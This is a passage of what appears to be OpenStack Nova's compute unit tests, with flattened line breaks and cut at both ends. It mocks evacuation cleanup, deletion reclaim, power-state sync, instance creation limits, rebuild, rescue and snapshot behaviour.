fake_context, evacuated_instance).AndReturn('fake_bdi') self.compute._is_instance_storage_shared(fake_context, evacuated_instance).AndReturn(True) self.compute._legacy_nw_info('fake_network_info').AndReturn( 'fake_legacy_network_info') self.compute.driver.destroy(evacuated_instance, 'fake_legacy_network_info', 'fake_bdi', False) self.mox.ReplayAll() self.compute._destroy_evacuated_instances(fake_context) def test_destroy_evacuated_instance_with_disks(self): fake_context = context.get_admin_context() # instances in central db instances = [ # those are still related to this host jsonutils.to_primitive(self._create_fake_instance( {'host': self.compute.host})), jsonutils.to_primitive(self._create_fake_instance( {'host': self.compute.host})), jsonutils.to_primitive(self._create_fake_instance( {'host': self.compute.host})) ] # those are already been evacuated to other host evacuated_instance = self._create_fake_instance({'host': 'otherhost'}) instances.append(evacuated_instance) self.mox.StubOutWithMock(self.compute, '_get_instances_on_driver') self.mox.StubOutWithMock(self.compute, '_get_instance_nw_info') self.mox.StubOutWithMock(self.compute, '_get_instance_volume_block_device_info') self.mox.StubOutWithMock(self.compute.driver, 'check_instance_shared_storage_local') self.mox.StubOutWithMock(self.compute.compute_rpcapi, 'check_instance_shared_storage') self.mox.StubOutWithMock(self.compute.driver, 'check_instance_shared_storage_cleanup') self.mox.StubOutWithMock(self.compute, '_legacy_nw_info') self.mox.StubOutWithMock(self.compute.driver, 'destroy') self.compute._get_instances_on_driver( fake_context, {'deleted': False}).AndReturn(instances) self.compute._get_instance_nw_info(fake_context, evacuated_instance).AndReturn( 'fake_network_info') self.compute._get_instance_volume_block_device_info( fake_context, evacuated_instance).AndReturn('fake_bdi') self.compute.driver.check_instance_shared_storage_local(fake_context, evacuated_instance).AndReturn({'filename': 'tmpfilename'}) self.compute.compute_rpcapi.check_instance_shared_storage(fake_context, evacuated_instance, {'filename': 'tmpfilename'}).AndReturn(False) self.compute.driver.check_instance_shared_storage_cleanup(fake_context, {'filename': 'tmpfilename'}) self.compute._legacy_nw_info('fake_network_info').AndReturn( 'fake_legacy_network_info') self.compute.driver.destroy(evacuated_instance, 'fake_legacy_network_info', 'fake_bdi', True) self.mox.ReplayAll() self.compute._destroy_evacuated_instances(fake_context) def test_destroy_evacuated_instance_not_implemented(self): fake_context = context.get_admin_context() # instances in central db instances = [ # those are still related to this host jsonutils.to_primitive(self._create_fake_instance( {'host': self.compute.host})), jsonutils.to_primitive(self._create_fake_instance( {'host': self.compute.host})), jsonutils.to_primitive(self._create_fake_instance( {'host': self.compute.host})) ] # those are already been evacuated to other host evacuated_instance = self._create_fake_instance({'host': 'otherhost'}) instances.append(evacuated_instance) self.mox.StubOutWithMock(self.compute, '_get_instances_on_driver') self.mox.StubOutWithMock(self.compute, '_get_instance_nw_info') self.mox.StubOutWithMock(self.compute, '_get_instance_volume_block_device_info') self.mox.StubOutWithMock(self.compute.driver, 'check_instance_shared_storage_local') self.mox.StubOutWithMock(self.compute.compute_rpcapi, 'check_instance_shared_storage') self.mox.StubOutWithMock(self.compute.driver, 'check_instance_shared_storage_cleanup') self.mox.StubOutWithMock(self.compute, '_legacy_nw_info') self.mox.StubOutWithMock(self.compute.driver, 'destroy') self.compute._get_instances_on_driver( fake_context, {'deleted': False}).AndReturn(instances) self.compute._get_instance_nw_info(fake_context, evacuated_instance).AndReturn( 'fake_network_info') self.compute._get_instance_volume_block_device_info( fake_context, evacuated_instance).AndReturn('fake_bdi') self.compute.driver.check_instance_shared_storage_local(fake_context, evacuated_instance).AndRaise(NotImplementedError()) self.compute._legacy_nw_info('fake_network_info').AndReturn( 'fake_legacy_network_info') self.compute.driver.destroy(evacuated_instance, 'fake_legacy_network_info', 'fake_bdi', True) self.mox.ReplayAll() self.compute._destroy_evacuated_instances(fake_context) def test_complete_partial_deletion(self): admin_context = context.get_admin_context() instance = { 'id': '1', 'vm_state': vm_states.DELETED, 'task_state': None, 'system_metadata': [{'key': 'fake_key', 'value': 'fake_value'}], 'vcpus': 1, 'memory_mb': 1, 'project_id': 'fake-prj', 'deleted': 0 } def fake_conductor(context, instance): instance['deleted'] = instance['id'] self.stubs.Set(self.compute.conductor_api, 'instance_destroy', fake_conductor) self.stubs.Set(self.compute, '_get_instance_volume_bdms', lambda *a, **k: None) self.stubs.Set(self.compute, '_complete_deletion', lambda *a, **k: None) self.stubs.Set(nova.quota.QUOTAS, 'reserve', lambda *a, **k: None) self.compute._complete_partial_deletion(admin_context, instance) self.assertFalse(instance['deleted'] == 0) def test_init_instance_for_partial_deletion(self): admin_context = context.get_admin_context() instance = {'id': '1', 'vm_state': vm_states.DELETED, 'deleted': 0 } def fake_partial_deletion(context, instance): instance['deleted'] = instance['id'] self.stubs.Set(self.compute, '_complete_partial_deletion', fake_partial_deletion) self.compute._init_instance(context, instance) self.assertFalse(instance['deleted'] == 0) def test_partial_deletion_raise_exception(self): admin_context = context.get_admin_context() instance = {'id': '1', 'vm_state': vm_states.DELETED, 'deleted': 0 } self.mox.StubOutWithMock(self.compute, '_complete_partial_deletion') self.compute._complete_partial_deletion( admin_context, instance).AndRaise(ValueError) self.mox.ReplayAll() self.compute._init_instance(admin_context, instance) def test_add_remove_fixed_ip_updates_instance_updated_at(self): def _noop(*args, **kwargs): pass self.stubs.Set(self.compute.network_api, 'add_fixed_ip_to_instance', _noop) self.stubs.Set(self.compute.network_api, 'remove_fixed_ip_from_instance', _noop) instance = self._create_fake_instance() updated_at_1 = instance['updated_at'] self.compute.add_fixed_ip_to_instance(self.context, 'fake', instance) instance = db.instance_get_by_uuid(self.context, instance['uuid']) updated_at_2 = instance['updated_at'] self.compute.remove_fixed_ip_from_instance(self.context, 'fake', instance) instance = db.instance_get_by_uuid(self.context, instance['uuid']) updated_at_3 = instance['updated_at'] updated_ats = (updated_at_1, updated_at_2, updated_at_3) self.assertEqual(len(updated_ats), len(set(updated_ats))) def test_reclaim_queued_deletes(self): self.flags(reclaim_instance_interval=3600) ctxt = context.get_admin_context() # Active self._create_fake_instance(params={'host': CONF.host}) # Deleted not old enough self._create_fake_instance(params={'host': CONF.host, 'vm_state': vm_states.SOFT_DELETED, 'deleted_at': timeutils.utcnow()}) # Deleted old enough (only this one should be reclaimed) deleted_at = (timeutils.utcnow() - datetime.timedelta(hours=1, minutes=5)) instance = self._create_fake_instance( params={'host': CONF.host, 'vm_state': vm_states.SOFT_DELETED, 'deleted_at': deleted_at}) # Restoring # NOTE(hanlind): This specifically tests for a race condition # where restoring a previously soft deleted instance sets # deleted_at back to None, causing reclaim to think it can be # deleted, see LP #1186243. self._create_fake_instance( params={'host': CONF.host, 'vm_state': vm_states.SOFT_DELETED, 'task_state': task_states.RESTORING}) self.mox.StubOutWithMock(self.compute, '_delete_instance') self.compute._delete_instance(ctxt, mox.IsA(instance_obj.Instance), []) self.mox.ReplayAll() self.compute._reclaim_queued_deletes(ctxt) def test_reclaim_queued_deletes_continue_on_error(self): # Verify that reclaim continues on error. self.flags(reclaim_instance_interval=3600) ctxt = context.get_admin_context() deleted_at = (timeutils.utcnow() - datetime.timedelta(hours=1, minutes=5)) instance1 = self._create_fake_instance_obj( params={'host': CONF.host, 'vm_state': vm_states.SOFT_DELETED, 'deleted_at': deleted_at}) instance2 = self._create_fake_instance_obj( params={'host': CONF.host, 'vm_state': vm_states.SOFT_DELETED, 'deleted_at': deleted_at}) instances = [] instances.append(instance1) instances.append(instance2) self.mox.StubOutWithMock(instance_obj.InstanceList, 'get_by_filters') self.mox.StubOutWithMock(self.compute, '_deleted_old_enough') self.mox.StubOutWithMock(self.compute.conductor_api, 'block_device_mapping_get_all_by_instance') self.mox.StubOutWithMock(self.compute, '_delete_instance') instance_obj.InstanceList.get_by_filters( ctxt, mox.IgnoreArg(), expected_attrs=instance_obj.INSTANCE_DEFAULT_FIELDS ).AndReturn(instances) # The first instance delete fails. self.compute._deleted_old_enough(instance1, 3600).AndReturn(True) self.compute.conductor_api.block_device_mapping_get_all_by_instance( ctxt, instance1).AndReturn(None) self.compute._delete_instance(ctxt, instance1, None).AndRaise(test.TestingException) # The second instance delete that follows. self.compute._deleted_old_enough(instance2, 3600).AndReturn(True) self.compute.conductor_api.block_device_mapping_get_all_by_instance( ctxt, instance2).AndReturn(None) self.compute._delete_instance(ctxt, instance2, None) self.mox.ReplayAll() self.compute._reclaim_queued_deletes(ctxt) def test_sync_power_states(self): ctxt = self.context.elevated() self._create_fake_instance({'host': self.compute.host}) self._create_fake_instance({'host': self.compute.host}) self.mox.StubOutWithMock(self.compute.driver, 'get_info') self.mox.StubOutWithMock(self.compute, '_sync_instance_power_state') self.compute.driver.get_info(mox.IgnoreArg()).AndReturn( {'state': power_state.RUNNING}) self.compute._sync_instance_power_state(ctxt, mox.IgnoreArg(), power_state.RUNNING) self.compute.driver.get_info(mox.IgnoreArg()).AndReturn( {'state': power_state.SHUTDOWN}) self.compute._sync_instance_power_state(ctxt, mox.IgnoreArg(), power_state.SHUTDOWN) self.mox.ReplayAll() self.compute._sync_power_states(ctxt) def _test_lifecycle_event(self, lifecycle_event, power_state): instance = self._create_fake_instance() uuid = instance['uuid'] self.mox.StubOutWithMock(self.compute, '_sync_instance_power_state') if power_state != None: self.compute._sync_instance_power_state( mox.IgnoreArg(), mox.ContainsKeyValue('uuid', uuid), power_state) self.mox.ReplayAll() self.compute.handle_events(LifecycleEvent(uuid, lifecycle_event)) self.mox.VerifyAll() self.mox.UnsetStubs() def test_lifecycle_events(self): self._test_lifecycle_event(EVENT_LIFECYCLE_STOPPED, power_state.SHUTDOWN) self._test_lifecycle_event(EVENT_LIFECYCLE_STARTED, power_state.RUNNING) self._test_lifecycle_event(EVENT_LIFECYCLE_PAUSED, power_state.PAUSED) self._test_lifecycle_event(EVENT_LIFECYCLE_RESUMED, power_state.RUNNING) self._test_lifecycle_event(-1, None) def test_lifecycle_event_non_existent_instance(self): # No error raised for non-existent instance because of inherent race # between database updates and hypervisor events. See bug #1180501. event = LifecycleEvent('does-not-exist', EVENT_LIFECYCLE_STOPPED) self.compute.handle_events(event) class ComputeAPITestCase(BaseTestCase): def setUp(self): def fake_get_nw_info(cls, ctxt, instance): self.assertTrue(ctxt.is_admin) return fake_network.fake_get_instance_nw_info(self.stubs, 1, 1, spectacular=True) super(ComputeAPITestCase, self).setUp() self.stubs.Set(network_api.API, 'get_instance_nw_info', fake_get_nw_info) self.security_group_api = ( openstack_driver.get_openstack_security_group_driver()) self.compute_api = compute.API( security_group_api=self.security_group_api) self.fake_image = { 'id': 1, 'name': 'fake_name', 'status': 'active', 'properties': {'kernel_id': 'fake_kernel_id', 'ramdisk_id': 'fake_ramdisk_id'}, } def fake_show(obj, context, image_id): if image_id: return self.fake_image else: raise exception.ImageNotFound(image_id=image_id) self.fake_show = fake_show def _run_instance(self, params=None): instance = jsonutils.to_primitive(self._create_fake_instance(params, services=True)) instance_uuid = instance['uuid'] self.compute.run_instance(self.context, instance=instance) instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['task_state'], None) return instance, instance_uuid def test_create_with_too_little_ram(self): # Test an instance type with too little memory. inst_type = flavors.get_default_flavor() inst_type['memory_mb'] = 1 self.fake_image['min_ram'] = 2 self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) self.assertRaises(exception.InstanceTypeMemoryTooSmall, self.compute_api.create, self.context, inst_type, self.fake_image['id']) # Now increase the inst_type memory and make sure all is fine. inst_type['memory_mb'] = 2 (refs, resv_id) = self.compute_api.create(self.context, inst_type, self.fake_image['id']) db.instance_destroy(self.context, refs[0]['uuid']) def test_create_with_too_little_disk(self): # Test an instance type with too little disk space. inst_type = flavors.get_default_flavor() inst_type['root_gb'] = 1 self.fake_image['min_disk'] = 2 self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) self.assertRaises(exception.InstanceTypeDiskTooSmall, self.compute_api.create, self.context, inst_type, self.fake_image['id']) # Now increase the inst_type disk space and make sure all is fine. inst_type['root_gb'] = 2 (refs, resv_id) = self.compute_api.create(self.context, inst_type, self.fake_image['id']) db.instance_destroy(self.context, refs[0]['uuid']) def test_create_with_too_large_image(self): # Test an instance type with too little disk space. inst_type = flavors.get_default_flavor() inst_type['root_gb'] = 1 self.fake_image['size'] = '1073741825' self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) self.assertRaises(exception.InstanceTypeDiskTooSmall, self.compute_api.create, self.context, inst_type, self.fake_image['id']) # Reduce image to 1 GB limit and ensure it works self.fake_image['size'] = '1073741824' (refs, resv_id) = self.compute_api.create(self.context, inst_type, self.fake_image['id']) db.instance_destroy(self.context, refs[0]['uuid']) def test_create_just_enough_ram_and_disk(self): # Test an instance type with just enough ram and disk space. inst_type = flavors.get_default_flavor() inst_type['root_gb'] = 2 inst_type['memory_mb'] = 2 self.fake_image['min_ram'] = 2 self.fake_image['min_disk'] = 2 self.fake_image['name'] = 'fake_name' self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) (refs, resv_id) = self.compute_api.create(self.context, inst_type, self.fake_image['id']) db.instance_destroy(self.context, refs[0]['uuid']) def test_create_with_no_ram_and_disk_reqs(self): # Test an instance type with no min_ram or min_disk. inst_type = flavors.get_default_flavor() inst_type['root_gb'] = 1 inst_type['memory_mb'] = 1 self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) (refs, resv_id) = self.compute_api.create(self.context, inst_type, self.fake_image['id']) db.instance_destroy(self.context, refs[0]['uuid']) def test_create_with_deleted_image(self): # If we're given a deleted image by glance, we should not be able to # build from it inst_type = flavors.get_default_flavor() self.fake_image['name'] = 'fake_name' self.fake_image['status'] = 'DELETED' self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) expected_message = ( exception.ImageNotActive.msg_fmt % {'image_id': self.fake_image['id']}) with testtools.ExpectedException(exception.ImageNotActive, expected_message): self.compute_api.create(self.context, inst_type, self.fake_image['id']) def test_create_instance_defaults_display_name(self): # Verify that an instance cannot be created without a display_name. cases = [dict(), dict(display_name=None)] for instance in cases: (ref, resv_id) = self.compute_api.create(self.context, flavors.get_default_flavor(), 'fake-image-uuid', **instance) try: self.assertNotEqual(ref[0]['display_name'], None) finally: db.instance_destroy(self.context, ref[0]['uuid']) def test_create_instance_sets_system_metadata(self): # Make sure image properties are copied into system metadata. (ref, resv_id) = self.compute_api.create( self.context, instance_type=flavors.get_default_flavor(), image_href='fake-image-uuid') try: sys_metadata = db.instance_system_metadata_get(self.context, ref[0]['uuid']) image_props = {'image_kernel_id': 'fake_kernel_id', 'image_ramdisk_id': 'fake_ramdisk_id', 'image_something_else': 'meow', } for key, value in image_props.iteritems(): self.assertTrue(key in sys_metadata) self.assertEqual(value, sys_metadata[key]) finally: db.instance_destroy(self.context, ref[0]['uuid']) def test_create_saves_type_in_system_metadata(self): instance_type = flavors.get_default_flavor() (ref, resv_id) = self.compute_api.create( self.context, instance_type=instance_type, image_href=None) try: sys_metadata = db.instance_system_metadata_get(self.context, ref[0]['uuid']) instance_type_props = ['name', 'memory_mb', 'vcpus', 'root_gb', 'ephemeral_gb', 'flavorid', 'swap', 'rxtx_factor', 'vcpu_weight'] for key in instance_type_props: sys_meta_key = "instance_type_%s" % key self.assertTrue(sys_meta_key in sys_metadata) self.assertEqual(str(instance_type[key]), str(sys_metadata[sys_meta_key])) finally: db.instance_destroy(self.context, ref[0]['uuid']) def test_create_instance_associates_security_groups(self): # Make sure create associates security groups. group = self._create_group() (ref, resv_id) = self.compute_api.create( self.context, instance_type=flavors.get_default_flavor(), image_href=None, security_group=['testgroup']) try: self.assertEqual(len(db.security_group_get_by_instance( self.context, ref[0]['uuid'])), 1) group = db.security_group_get(self.context, group['id']) self.assert_(len(group['instances']) == 1) finally: db.security_group_destroy(self.context, group['id']) db.instance_destroy(self.context, ref[0]['uuid']) def test_create_instance_with_invalid_security_group_raises(self): instance_type = flavors.get_default_flavor() pre_build_len = len(db.instance_get_all(self.context)) self.assertRaises(exception.SecurityGroupNotFoundForProject, self.compute_api.create, self.context, instance_type=instance_type, image_href=None, security_group=['this_is_a_fake_sec_group']) self.assertEqual(pre_build_len, len(db.instance_get_all(self.context))) def test_create_with_large_user_data(self): # Test an instance type with too much user data. inst_type = flavors.get_default_flavor() self.fake_image['min_ram'] = 2 self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) self.assertRaises(exception.InstanceUserDataTooLarge, self.compute_api.create, self.context, inst_type, self.fake_image['id'], user_data=('1' * 65536)) def test_create_with_malformed_user_data(self): # Test an instance type with malformed user data. inst_type = flavors.get_default_flavor() self.fake_image['min_ram'] = 2 self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) self.assertRaises(exception.InstanceUserDataMalformed, self.compute_api.create, self.context, inst_type, self.fake_image['id'], user_data='banana') def test_create_with_base64_user_data(self): # Test an instance type with ok much user data. inst_type = flavors.get_default_flavor() self.fake_image['min_ram'] = 2 self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) # NOTE(mikal): a string of length 48510 encodes to 65532 characters of # base64 (refs, resv_id) = self.compute_api.create( self.context, inst_type, self.fake_image['id'], user_data=base64.encodestring('1' * 48510)) db.instance_destroy(self.context, refs[0]['uuid']) def test_populate_instance_for_create(self): base_options = {'image_ref': self.fake_image['id'], 'system_metadata': utils.dict_to_metadata( {'fake': 'value'})} instance = instance_obj.Instance() instance.update(base_options) instance = self.compute_api._populate_instance_for_create( instance, self.fake_image, security_groups=None) self.assertEquals(str(base_options['image_ref']), instance['system_metadata']['image_base_image_ref']) self.assertEquals(vm_states.BUILDING, instance['vm_state']) self.assertEquals(task_states.SCHEDULING, instance['task_state']) self.assertIsNotNone(instance.get('uuid')) self.assertIsNone(instance.get('security_groups')) def test_default_hostname_generator(self): fake_uuids = [str(uuid.uuid4()) for x in xrange(4)] orig_populate = self.compute_api._populate_instance_for_create def _fake_populate(base_options, *args, **kwargs): base_options['uuid'] = fake_uuids.pop(0) return orig_populate(base_options, *args, **kwargs) self.stubs.Set(self.compute_api, '_populate_instance_for_create', _fake_populate) cases = [(None, 'server-%s' % fake_uuids[0]), ('Hello, Server!', 'hello-server'), ('<}\x1fh\x10e\x08l\x02l\x05o\x12!{>', 'hello'), ('hello_server', 'hello-server')] for display_name, hostname in cases: (ref, resv_id) = self.compute_api.create(self.context, flavors.get_default_flavor(), None, display_name=display_name) try: self.assertEqual(ref[0]['hostname'], hostname) finally: db.instance_destroy(self.context, ref[0]['uuid']) def test_destroy_instance_disassociates_security_groups(self): # Make sure destroying disassociates security groups. group = self._create_group() (ref, resv_id) = self.compute_api.create( self.context, instance_type=flavors.get_default_flavor(), image_href=None, security_group=['testgroup']) try: db.instance_destroy(self.context, ref[0]['uuid']) group = db.security_group_get(self.context, group['id']) self.assert_(len(group['instances']) == 0) finally: db.security_group_destroy(self.context, group['id']) def test_destroy_security_group_disassociates_instances(self): # Make sure destroying security groups disassociates instances. group = self._create_group() (ref, resv_id) = self.compute_api.create( self.context, instance_type=flavors.get_default_flavor(), image_href=None, security_group=['testgroup']) try: db.security_group_destroy(self.context, group['id']) admin_deleted_context = context.get_admin_context( read_deleted="only") group = db.security_group_get(admin_deleted_context, group['id']) self.assert_(len(group['instances']) == 0) finally: db.instance_destroy(self.context, ref[0]['uuid']) def test_restore(self): # Ensure instance can be restored from a soft delete. instance, instance_uuid = self._run_instance(params={ 'host': CONF.host, 'cell_name': 'foo'}) instance = instance_obj.Instance.get_by_uuid( self.context, instance_uuid, expected_attrs=instance_obj.INSTANCE_DEFAULT_FIELDS) self.compute_api.soft_delete(self.context, instance) instance.refresh() self.assertEqual(instance.task_state, task_states.SOFT_DELETING) # set the state that the instance gets when soft_delete finishes instance.vm_state = vm_states.SOFT_DELETED instance.task_state = None instance.save() # Ensure quotas are committed self.mox.StubOutWithMock(nova.quota.QUOTAS, 'commit') nova.quota.QUOTAS.commit(mox.IgnoreArg(), mox.IgnoreArg()) self.mox.ReplayAll() instance = db.instance_get_by_uuid(self.context, instance_uuid) self.compute_api.restore(self.context, instance) instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['task_state'], task_states.RESTORING) db.instance_destroy(self.context, instance['uuid']) def _test_rebuild(self, vm_state): instance = jsonutils.to_primitive(self._create_fake_instance()) instance_uuid = instance['uuid'] self.compute.run_instance(self.context, instance=instance) instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['task_state'], None) # Set some image metadata that should get wiped out and reset # as well as some other metadata that should be preserved. db.instance_system_metadata_update(self.context, instance_uuid, {'image_kernel_id': 'old-data', 'image_ramdisk_id': 'old_data', 'image_something_else': 'old-data', 'image_should_remove': 'bye-bye', 'preserved': 'preserve this!'}, True) # Make sure Compute API updates the image_ref before casting to # compute manager. orig_update = self.compute_api.update info = {'image_ref': None} def update_wrapper(*args, **kwargs): if 'image_ref' in kwargs: info['image_ref'] = kwargs['image_ref'] return orig_update(*args, **kwargs) self.stubs.Set(self.compute_api, 'update', update_wrapper) image_ref = instance["image_ref"] + '-new_image_ref' password = "new_password" db.instance_update(self.context, instance['uuid'], {"vm_state": vm_state}) self.compute_api.rebuild(self.context, instance, image_ref, password) self.assertEqual(info['image_ref'], image_ref) instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['task_state'], task_states.REBUILDING) sys_metadata = db.instance_system_metadata_get(self.context, instance_uuid) self.assertEqual(sys_metadata, {'image_kernel_id': 'fake_kernel_id', 'image_ramdisk_id': 'fake_ramdisk_id', 'image_something_else': 'meow', 'preserved': 'preserve this!'}) db.instance_destroy(self.context, instance['uuid']) def test_rebuild(self): self._test_rebuild(vm_state=vm_states.ACTIVE) def test_rebuild_in_error_state(self): self._test_rebuild(vm_state=vm_states.ERROR) def test_rebuild_in_error_not_launched(self): instance = jsonutils.to_primitive( self._create_fake_instance(params={'image_ref': ''})) instance_uuid = instance['uuid'] self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) self.compute.run_instance(self.context, instance=instance) db.instance_update(self.context, instance['uuid'], {"vm_state": vm_states.ERROR, "launched_at": None}) instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.assertRaises(exception.InstanceInvalidState, self.compute_api.rebuild, self.context, instance, instance['image_ref'], "new password") def test_rebuild_no_image(self): instance = jsonutils.to_primitive( self._create_fake_instance(params={'image_ref': ''})) instance_uuid = instance['uuid'] self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) self.compute.run_instance(self.context, instance=instance) self.compute_api.rebuild(self.context, instance, '', 'new_password') instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['task_state'], task_states.REBUILDING) def test_rebuild_with_deleted_image(self): # If we're given a deleted image by glance, we should not be able to # rebuild from it instance = jsonutils.to_primitive( self._create_fake_instance(params={'image_ref': '1'})) self.fake_image['name'] = 'fake_name' self.fake_image['status'] = 'DELETED' self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) expected_message = ( exception.ImageNotActive.msg_fmt % {'image_id': self.fake_image['id']}) with testtools.ExpectedException(exception.ImageNotActive, expected_message): self.compute_api.rebuild(self.context, instance, self.fake_image['id'], 'new_password') def test_rebuild_with_too_little_ram(self): instance = jsonutils.to_primitive( self._create_fake_instance(params={'image_ref': '1'})) def fake_extract_flavor(_inst): return dict(memory_mb=64, root_gb=1) self.stubs.Set(flavors, 'extract_flavor', fake_extract_flavor) self.fake_image['min_ram'] = 128 self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) self.assertRaises(exception.InstanceTypeMemoryTooSmall, self.compute_api.rebuild, self.context, instance, self.fake_image['id'], 'new_password') # Reduce image memory requirements and make sure it works self.fake_image['min_ram'] = 64 self.compute_api.rebuild(self.context, instance, self.fake_image['id'], 'new_password') db.instance_destroy(self.context, instance['uuid']) def test_rebuild_with_too_little_disk(self): instance = jsonutils.to_primitive( self._create_fake_instance(params={'image_ref': '1'})) def fake_extract_flavor(_inst): return dict(memory_mb=64, root_gb=1) self.stubs.Set(flavors, 'extract_flavor', fake_extract_flavor) self.fake_image['min_disk'] = 2 self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) self.assertRaises(exception.InstanceTypeDiskTooSmall, self.compute_api.rebuild, self.context, instance, self.fake_image['id'], 'new_password') # Reduce image disk requirements and make sure it works self.fake_image['min_disk'] = 1 self.compute_api.rebuild(self.context, instance, self.fake_image['id'], 'new_password') db.instance_destroy(self.context, instance['uuid']) def test_rebuild_with_just_enough_ram_and_disk(self): instance = jsonutils.to_primitive( self._create_fake_instance(params={'image_ref': '1'})) def fake_extract_flavor(_inst): return dict(memory_mb=64, root_gb=1) self.stubs.Set(flavors, 'extract_flavor', fake_extract_flavor) self.fake_image['min_ram'] = 64 self.fake_image['min_disk'] = 1 self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) self.compute_api.rebuild(self.context, instance, self.fake_image['id'], 'new_password') db.instance_destroy(self.context, instance['uuid']) def test_rebuild_with_no_ram_and_disk_reqs(self): instance = jsonutils.to_primitive( self._create_fake_instance(params={'image_ref': '1'})) def fake_extract_flavor(_inst): return dict(memory_mb=64, root_gb=1) self.stubs.Set(flavors, 'extract_flavor', fake_extract_flavor) self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) self.compute_api.rebuild(self.context, instance, self.fake_image['id'], 'new_password') db.instance_destroy(self.context, instance['uuid']) def test_rebuild_with_too_large_image(self): instance = jsonutils.to_primitive( self._create_fake_instance(params={'image_ref': '1'})) def fake_extract_flavor(_inst): return dict(memory_mb=64, root_gb=1) self.stubs.Set(flavors, 'extract_flavor', fake_extract_flavor) self.fake_image['size'] = '1073741825' self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) self.assertRaises(exception.InstanceTypeDiskTooSmall, self.compute_api.rebuild, self.context, instance, self.fake_image['id'], 'new_password') # Reduce image to 1 GB limit and ensure it works self.fake_image['size'] = '1073741824' self.compute_api.rebuild(self.context, instance, self.fake_image['id'], 'new_password') db.instance_destroy(self.context, instance['uuid']) def test_hostname_create(self): # Ensure instance hostname is set during creation. inst_type = flavors.get_flavor_by_name('m1.tiny') (instances, _) = self.compute_api.create(self.context, inst_type, None, display_name='test host') self.assertEqual('test-host', instances[0]['hostname']) def test_set_admin_password(self): # Ensure instance can have its admin password set. instance = jsonutils.to_primitive(self._create_fake_instance()) instance_uuid = instance['uuid'] self.compute.run_instance(self.context, instance=instance) inst_ref = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(inst_ref['vm_state'], vm_states.ACTIVE) self.assertEqual(inst_ref['task_state'], None) def fake_rpc_method(context, topic, msg, do_cast=True): self.assertFalse(do_cast) self.stubs.Set(rpc, 'call', fake_rpc_method) self.compute_api.set_admin_password(self.context, inst_ref) inst_ref = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(inst_ref['vm_state'], vm_states.ACTIVE) self.assertEqual(inst_ref['task_state'], task_states.UPDATING_PASSWORD) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(inst_ref)) def test_rescue_unrescue(self): instance = jsonutils.to_primitive(self._create_fake_instance()) instance_uuid = instance['uuid'] self.compute.run_instance(self.context, instance=instance) instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['vm_state'], vm_states.ACTIVE) self.assertEqual(instance['task_state'], None) self.compute_api.rescue(self.context, instance) instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['vm_state'], vm_states.ACTIVE) self.assertEqual(instance['task_state'], task_states.RESCUING) params = {'vm_state': vm_states.RESCUED, 'task_state': None} db.instance_update(self.context, instance_uuid, params) instance = db.instance_get_by_uuid(self.context, instance_uuid) self.compute_api.unrescue(self.context, instance) instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['vm_state'], vm_states.RESCUED) self.assertEqual(instance['task_state'], task_states.UNRESCUING) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(instance)) def test_rescue_volume_backed(self): # Instance started without an image volume_backed_inst_1 = jsonutils.to_primitive( self._create_fake_instance({'image_ref': ''})) # Instance started with a placeholder image (for metadata) volume_backed_inst_2 = jsonutils.to_primitive( self._create_fake_instance( {'image_ref': 'my_placeholder_img', 'root_device_name': '/dev/vda'}) ) volume_backed_uuid_1 = volume_backed_inst_1['uuid'] volume_backed_uuid_2 = volume_backed_inst_2['uuid'] def fake_get_instance_bdms(*args, **kwargs): return [{'device_name': '/dev/vda', 'source_type': 'volume', 'destination_type': 'volume', 'volume_id': 'bf0b6b00-a20c-11e2-9e96-0800200c9a66'}] self.stubs.Set(self.compute_api, 'get_instance_bdms', fake_get_instance_bdms) def fake_volume_get(self, context, volume_id): return {'id': volume_id, 'status': 'in-use'} self.stubs.Set(cinder.API, 'get', fake_volume_get) self.compute.run_instance(self.context, instance=volume_backed_inst_1) self.compute.run_instance(self.context, instance=volume_backed_inst_2) self.assertRaises(exception.InstanceNotRescuable, self.compute_api.rescue, self.context, volume_backed_inst_1) self.assertRaises(exception.InstanceNotRescuable, self.compute_api.rescue, self.context, volume_backed_inst_2) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(volume_backed_inst_1)) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(volume_backed_inst_2)) def test_snapshot(self): # Ensure a snapshot of an instance can be created. instance = self._create_fake_instance() image = self.compute_api.snapshot(self.context, instance, 'snap1', {'extra_param': 'value1'}) self.assertEqual(image['name'], 'snap1') properties = image['properties'] self.assertTrue('backup_type' not in properties) self.assertEqual(properties['image_type'], 'snapshot') self.assertEqual(properties['instance_uuid'], instance['uuid']) self.assertEqual(properties['extra_param'], 'value1') db.instance_destroy(self.context, instance['uuid']) def test_snapshot_given_image_uuid(self): """Ensure a snapshot of an instance can be created when image UUID is already known. """ instance = self._create_fake_instance() name = 'snap1' extra_properties = {'extra_param': 'value1'} recv_meta = self.compute_api.snapshot(self.context, instance, name, 